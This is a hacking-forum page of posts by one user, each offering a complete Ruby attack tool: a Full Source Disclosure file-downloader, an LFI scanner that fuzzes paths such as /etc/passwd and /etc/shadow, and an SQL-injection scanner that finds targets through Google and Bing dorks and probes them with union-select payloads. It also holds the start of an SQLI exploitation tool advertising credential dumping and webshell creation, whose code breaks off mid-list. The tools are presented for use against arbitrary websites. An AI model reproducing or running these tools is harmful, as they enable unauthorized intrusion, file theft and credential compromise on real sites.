Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#46
Scripting / [Ruby] FSD Exploit Manager 0.3
4 Septiembre 2015, 23:01 PM
Un simple script en Ruby que sirve como exploit para la vulnerabilidad Full Source Discloure.

El codigo :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#FSD Exploit Manager 0.3

require "open-uri"
require "net/http" 

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end

def uso
print "\n[+] Sintax : ruby locateip.rb <target>\n"
end

def  head
print "\n\n-- == FSD Exploit Manager 0.3 == --\n\n"
end

def copyright
print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
exit(1)
end

def installer
if not Dir.exists?("logs")
Dir.mkdir "logs"
end
Dir.chdir("logs")
end

def download(file,name)
File.open(name, "wb") do |saved_file|
open(file, "rb") do |read_file|
saved_file.write(read_file.read)
end
end
end

def scan_fsd(target)
print "\n[+] Scanning ...\n\n"
path = File.basename(URI(target).path)
code = toma(target+path)
if code=~/header\((.*)Content-Disposition: attachment;/
print "[+] Vulnerable !\n"
while(1)
print "\n[+] Insert Filename : "
filename = STDIN.gets.chomp
if filename=="exit"
copyright()
else
download(target+filename,filename)
print "\n[+] Downloaded !\n"
end
end

else
print "[-] Not vulnerable\n"
end
end

target = ARGV[0]

installer()

head()

if !target
uso()
else
scan_fsd(target)
end

copyright()

#The End ?


Eso es todo.
#47
Scripting / [Ruby] LFI Scanner 0.3
21 Agosto 2015, 23:37 PM
Un simple script en Ruby para scannear la vulnerabilidad LFI en una pagina.

Version consola :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#LFI Scanner 0.3
#(C) Doddy Hackman 2015

require "open-uri"
require "net/http" 

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end

def uso
print "\n[+] Sintax : ruby lfi.rb <page>\n"
end

def  head
print "\n\n-- == LFI Scanner 0.3 == --\n\n"
end

def copyright
print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
exit(1)
end

def scan(web)
files = ['c:/xampp/here.php','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
print "\n[+] Testing the vulnerability LFI...\n\n"
code = toma(web+"'")
if code=~/No such file or directory in <b>(.*)<\/b> on line/
fpd = $1
print "[+] LFI Detected\n\n"
print "[Full Path Discloure]: "+fpd+"\n"
print "\n[+] Fuzzing Files\n\n"
files.each do |file|
code = toma(web+file)
if not code=~/No such file or directory in/
print "[Link] : "+web+file+"\n"
end
end
print "\n[+] Finish\n"
copyright()
else
print "[-] Not Vulnerable to LFI\n\n"
end
end

#

page = ARGV[0]

head()

if !page
uso()
else
scan(page)
end

copyright()

#The End ?


Version Tk :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#LFI Scanner 0.3
#(C) Doddy Hackman 2015

require "tk"
require "net/http"
require "open-uri"

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end

#

window = TkRoot.new { title "LFI Scanner 0.3 (C) Doddy Hackman 2015" ; background "black" }
window['geometry'] = '300x300-20+10'

TkLabel.new(window) do
background "black"
foreground "cyan"
text "    Target : "
place('relx'=>"0.1",'rely'=>"0.1")
end

web= TkEntry.new(window){
background "black"
foreground "cyan"
width 25
place('relx'=>0.3,'rely'=>0.1)
}

TkLabel.new(window) do
background "black"
foreground "cyan"
text "Console"
place('relx'=>0.4,'rely'=>0.2)
end

console =TkText.new(window) do
background "black"
foreground "cyan"
width 30
height 10
place('relx'=>0.1,'rely'=>0.3)
end

TkButton.new(window) do
text "Search"
    background "black"
foreground "cyan"
width 17
activebackground "cyan"
highlightbackground  "cyan"
command proc{
web = web.value.to_s
files = ['c:/xampp/here.php','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
console.insert("end", "[+] Testing the vulnerability LFI...\n\n")
code = toma(web+"'")
if code=~/No such file or directory in <b>(.*)<\/b> on line/
fpd = $1
console.insert("end","[+] LFI Detected\n\n")
console.insert("end","[Full Path Discloure]: "+fpd+"\n")
console.insert("end","\n[+] Fuzzing Files\n\n")
files.each do |file|
code = toma(web+file)
if not code=~/No such file or directory in/
console.insert("end","[Link] : "+web+file+"\n")
end
end
console.insert("end","\n[+] Finish")
else
console.insert("end","[-] Not Vulnerable to LFI")
end
}
place('relx'=>0.3,'rely'=>0.9)
end

Tk.mainloop

#The End ?


Una imagen :



Eso es todo.
#48
Scripting / [Ruby] SQLI Scanner 0.4
7 Agosto 2015, 22:25 PM
Un simple script en Ruby para buscar paginas vulnerables a SQLI usando Google o Bing.

Version consola :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#SQLI Scanner 0.4
#(C) Doddy Hackman 2015

require "open-uri"
require "net/http"
require "openssl"

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end


def toma_ssl(web)
uri = URI.parse(web)
nave = Net::HTTP.new(uri.host, uri.port)
nave.use_ssl = true
nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
end


def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

def cortar(pages)
final = ""
finales = []
pages.flatten.each do |page|
if page=~/(.*)=(.*)/
parte1 = $1
parte2 = $2
final = parte1 + "="
finales.push(final)
end
end
return finales
end


def google(dork,pages)

links = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10
code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
paginas.flatten.each do |pagina|
partes = pagina
if partes=~/url\?q=(.*)&amp;sa/
parte = $1
link = URI::decode(parte)
links.push(link)
end
end
end
links = links.uniq
return links
end

def google_recursive(dork,pages)
dork = dork.sub(/ /,"+")
contador = 0
guardo = []
for i in ("1"..pages)
contador+=10
url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
code = toma_ssl(url)
links = URI::extract(code)
links.each do |link|
if link=~/cache:(.*?):(.*?)\+/
link_final = "http://"+$2
link_final = URI::decode(link_final)
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

def bing(dork,pages)

guardo = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10

code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)

links = code.scan(/<h2><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end

links = code.scan(/<h3><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

def uso
print "\n[+] Sintax : ruby scanner.rb <options> <dork> <pages>\n\n"
print "-search_bing : Find in Bing\n"
print "-search_google : Find in Google\n"
print "-scan_bing : Find SQLI in Bing\n"
print "-scan_google : Find SQLI in Google\n"
print "\n[+] Example of use : ruby scanner.rb -scan_bing news.php+id 3\n"
end

def  head
print "\n\n-- == SQLI Scanner 0.4 == --\n\n"
end

def copyright
print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
end

opcion = ARGV[0]
dork = ARGV[1]
pages  = ARGV[2]

head()

if !opcion or !dork or !pages
uso()
else

if opcion=="-search_bing"

print "\n[+] Searching in Bing ...\n\n"

links = bing(dork,pages)

print "[+] Pages Count : "+links.count.to_s+"\n\n"

if links.count.to_s=="0"
print "[-] Links not found\n"
end

links.flatten.each do |link|
print "[+] Link : "+link+"\n"
end

print "\n[+] Finished\n"

elsif opcion=="-search_google"

print "\n[+] Searching in Google ...\n\n"

links = google(dork,pages)

if links.count.to_s=="0"
print "[+] Searching in Google again ...\n\n"
links = google_recursive(dork,pages)
end

print "[+] Pages Count : "+links.count.to_s

if links.count.to_s=="0"
print "[-] Links not found"
end

links.flatten.each do |link|
print "[+] Link : "+link+"\n"
end

print "\n[+] Finished\n"

elsif opcion=="-scan_bing"

print "\n[+] Searching in Bing ...\n\n"

links = cortar(bing(dork,pages))

print "[+] Pages Count : "+links.count.to_s+"\n\n"

if links.count.to_s=="0"
print "[-] Links not found\n"
end

links.flatten.each do |link|
print "[+] Link : "+link
begin
url = toma(link + "-1+union+select+1--")
if url=~/The used SELECT statements have a different number of columns/
print " [OK]\n\a\a"
else
print " [FAIL]\n"
end
rescue
print " [FAIL]\n"
end
end

print "\n[+] Finished\n"

elsif opcion=="-scan_google"

print "\n[+] Searching in Google ...\n\n"

links = cortar(google(dork,pages))

if links.count.to_s=="0"
print "[+] Searching in Google again ...\n\n"
links = cortar(google_recursive(dork,pages))
end

print "[+] Pages Count : "+links.count.to_s+"\n\n"

if links.count.to_s=="0"
print "[-] Links not found"
end

links.flatten.each do |link|
print "[+] Link : "+link
begin
url = toma(link + "-1+union+select+1--")
if url=~/The used SELECT statements have a different number of columns/
print " [OK]\n\a\a"
else
print " [FAIL]\n"
end
rescue
print " [FAIL]\n"
end
end

print "\n[+] Finished\n"
else
print "[-] Bad Option"
end
end

copyright()


#The End ?


Version Tk para Google :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#SQLI Scanner 0.4
#(C) Doddy Hackman 2015
#Scan Google Tk

require "tk"
require "open-uri"
require "net/http"
require "openssl"

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end


def toma_ssl(web)
uri = URI.parse(web)
nave = Net::HTTP.new(uri.host, uri.port)
nave.use_ssl = true
nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
end


def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

def cortar(pages)
final = ""
finales = []
pages.flatten.each do |page|
if page=~/(.*)=(.*)/
parte1 = $1
parte2 = $2
final = parte1 + "="
finales.push(final)
end
end
return finales
end


def google(dork,pages)

links = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10
code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
paginas.flatten.each do |pagina|
partes = pagina
if partes=~/url\?q=(.*)&amp;sa/
parte = $1
link = URI::decode(parte)
links.push(link)
end
end
end
links = links.uniq
return links
end

def google_recursive(dork,pages)
dork = dork.sub(/ /,"+")
contador = 0
guardo = []
for i in ("1"..pages)
contador+=10
url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
code = toma_ssl(url)
links = URI::extract(code)
links.each do |link|
if link=~/cache:(.*?):(.*?)\+/
link_final = "http://"+$2
link_final = URI::decode(link_final)
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

def bing(dork,pages)

guardo = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10

code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)

links = code.scan(/<h2><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end

links = code.scan(/<h3><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

#

window = TkRoot.new { title "SQLI Scanner 0.4 - Scanner Google" ; background "black" }
window['geometry'] = '300x320-20+10'

TkLabel.new(window) do
background "black"
foreground "green"
text "    Dork : "
place('relx'=>"0.1",'rely'=>"0.1")
end

dork = TkEntry.new(window){
background "black"
foreground "green"
width 25
place('relx'=>0.3,'rely'=>0.1)
}

TkLabel.new(window) do
background "black"
foreground "green"
text "    Pages : "
place('relx'=>"0.1",'rely'=>"0.2")
end

pages = TkEntry.new(window){
background "black"
foreground "green"
width 25
place('relx'=>0.3,'rely'=>0.2)
}

TkLabel.new(window) do
background "black"
foreground "green"
text "Console"
place('relx'=>0.4,'rely'=>0.3)
end

console =TkText.new(window) do
background "black"
foreground "green"
width 30
height 9
place('relx'=>0.1,'rely'=>0.4)
end

TkButton.new(window) do
text "Search"
    background "black"
foreground "green"
width 17
activebackground "green"
highlightbackground  "green"
command proc{

dork = dork.value.to_s
pages = pages.value.to_s

console.insert("end",  "[+] Searching in Google ...\n\n")

links = cortar(google(dork,pages))

if links.count.to_s=="0"
console.insert("end",  "[+] Searching in Google again ...\n\n")
links = cortar(google_recursive(dork,pages))
end

console.insert("end", "[+] Pages Count : "+links.count.to_s+"\n\n")

if links.count.to_s=="0"
console.insert("end", "[-] Links not found")
end

links.flatten.each do |link|
console.insert("end", "[+] Link : "+link)
begin
url = toma(link + "-1+union+select+1--")
if url=~/The used SELECT statements have a different number of columns/
console.insert("end"," [OK]\n\a\a")
else
console.insert("end"," [FAIL]\n")
end
rescue
console.insert("end", " [FAIL]\n")
end
end

console.insert("end",  "\n[+] Finished")

}
place('relx'=>0.3,'rely'=>0.9)
end

Tk.mainloop

#The End ?


Una imagen :



Version Tk para Bing :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#SQLI Scanner 0.4
#(C) Doddy Hackman 2015
#Scan Bing Tk

require "tk"
require "open-uri"
require "net/http"
require "openssl"

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end


def toma_ssl(web)
uri = URI.parse(web)
nave = Net::HTTP.new(uri.host, uri.port)
nave.use_ssl = true
nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
end


def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

def cortar(pages)
final = ""
finales = []
pages.flatten.each do |page|
if page=~/(.*)=(.*)/
parte1 = $1
parte2 = $2
final = parte1 + "="
finales.push(final)
end
end
return finales
end


def google(dork,pages)

links = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10
code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
paginas.flatten.each do |pagina|
partes = pagina
if partes=~/url\?q=(.*)&amp;sa/
parte = $1
link = URI::decode(parte)
links.push(link)
end
end
end
links = links.uniq
return links
end

def google_recursive(dork,pages)
dork = dork.sub(/ /,"+")
contador = 0
guardo = []
for i in ("1"..pages)
contador+=10
url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
code = toma_ssl(url)
links = URI::extract(code)
links.each do |link|
if link=~/cache:(.*?):(.*?)\+/
link_final = "http://"+$2
link_final = URI::decode(link_final)
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

def bing(dork,pages)

guardo = []
dork = dork.sub(/ /,"+")
contador = 0
for i in ("1"..pages)
contador+=10

code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)

links = code.scan(/<h2><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end

links = code.scan(/<h3><a href="(.*?)" h/)

links.flatten.each do |link|
link_final = URI::decode(link)
if not link_final=~/http:\/\/778802\.r\.msn\.com\//
guardo.push(link_final)
end
end
end
guardo = guardo.uniq
return guardo
end

#

window = TkRoot.new { title "SQLI Scanner 0.4 - Scanner Bing" ; background "black" }
window['geometry'] = '300x320-20+10'

TkLabel.new(window) do
background "black"
foreground "green"
text "    Dork : "
place('relx'=>"0.1",'rely'=>"0.1")
end

dork = TkEntry.new(window){
background "black"
foreground "green"
width 25
place('relx'=>0.3,'rely'=>0.1)
}

TkLabel.new(window) do
background "black"
foreground "green"
text "    Pages : "
place('relx'=>"0.1",'rely'=>"0.2")
end

pages = TkEntry.new(window){
background "black"
foreground "green"
width 25
place('relx'=>0.3,'rely'=>0.2)
}

TkLabel.new(window) do
background "black"
foreground "green"
text "Console"
place('relx'=>0.4,'rely'=>0.3)
end

console =TkText.new(window) do
background "black"
foreground "green"
width 30
height 9
place('relx'=>0.1,'rely'=>0.4)
end

TkButton.new(window) do
text "Search"
    background "black"
foreground "green"
width 17
activebackground "green"
highlightbackground  "green"
command proc{

dork = dork.value.to_s
pages = pages.value.to_s

console.insert("end", "[+] Searching in Bing ...\n\n")

links = cortar(bing(dork,pages))

console.insert("end", "[+] Pages Count : "+links.count.to_s+"\n\n")

if links.count.to_s=="0"
console.insert("end","[-] Links not found\n")
end

links.flatten.each do |link|
console.insert("end", "[+] Link : "+link)
begin
url = toma(link + "-1+union+select+1--")
if url=~/The used SELECT statements have a different number of columns/
console.insert("end"," [OK]\n\a\a")
else
console.insert("end", " [FAIL]\n")
end
rescue
console.insert("end"," [FAIL]\n")
end
end

console.insert("end",  "\n[+] Finished")

}
place('relx'=>0.3,'rely'=>0.9)
end

Tk.mainloop

#The End ?


Una imagen :



Eso es todo.
#49
Scripting / [Ruby] K0bra 0.5
24 Julio 2015, 18:12 PM
Version mejorada de este script en Ruby para scannear la vulnerablidad SQLI en una pagina.

El script tiene las siguientes opciones :

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados

    El codigo :

    Código (ruby) [Seleccionar]

    #!usr/bin/ruby
    #K0bra 0.5
    #(C) Doddy Hackman 2015

    require "net/http"
    require "open-uri"

    $files = ['C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/admin.php','C:/xampp/htdocs/leer.txt','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf','C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf','C:\ProgramFiles\xampp\apache\conf\httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf','/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php','/usr/local/etc/apache/vhosts.conf','/etc/php.ini','/bin/php.ini','/etc/httpd/php.ini','/usr/lib/php.ini','/usr/li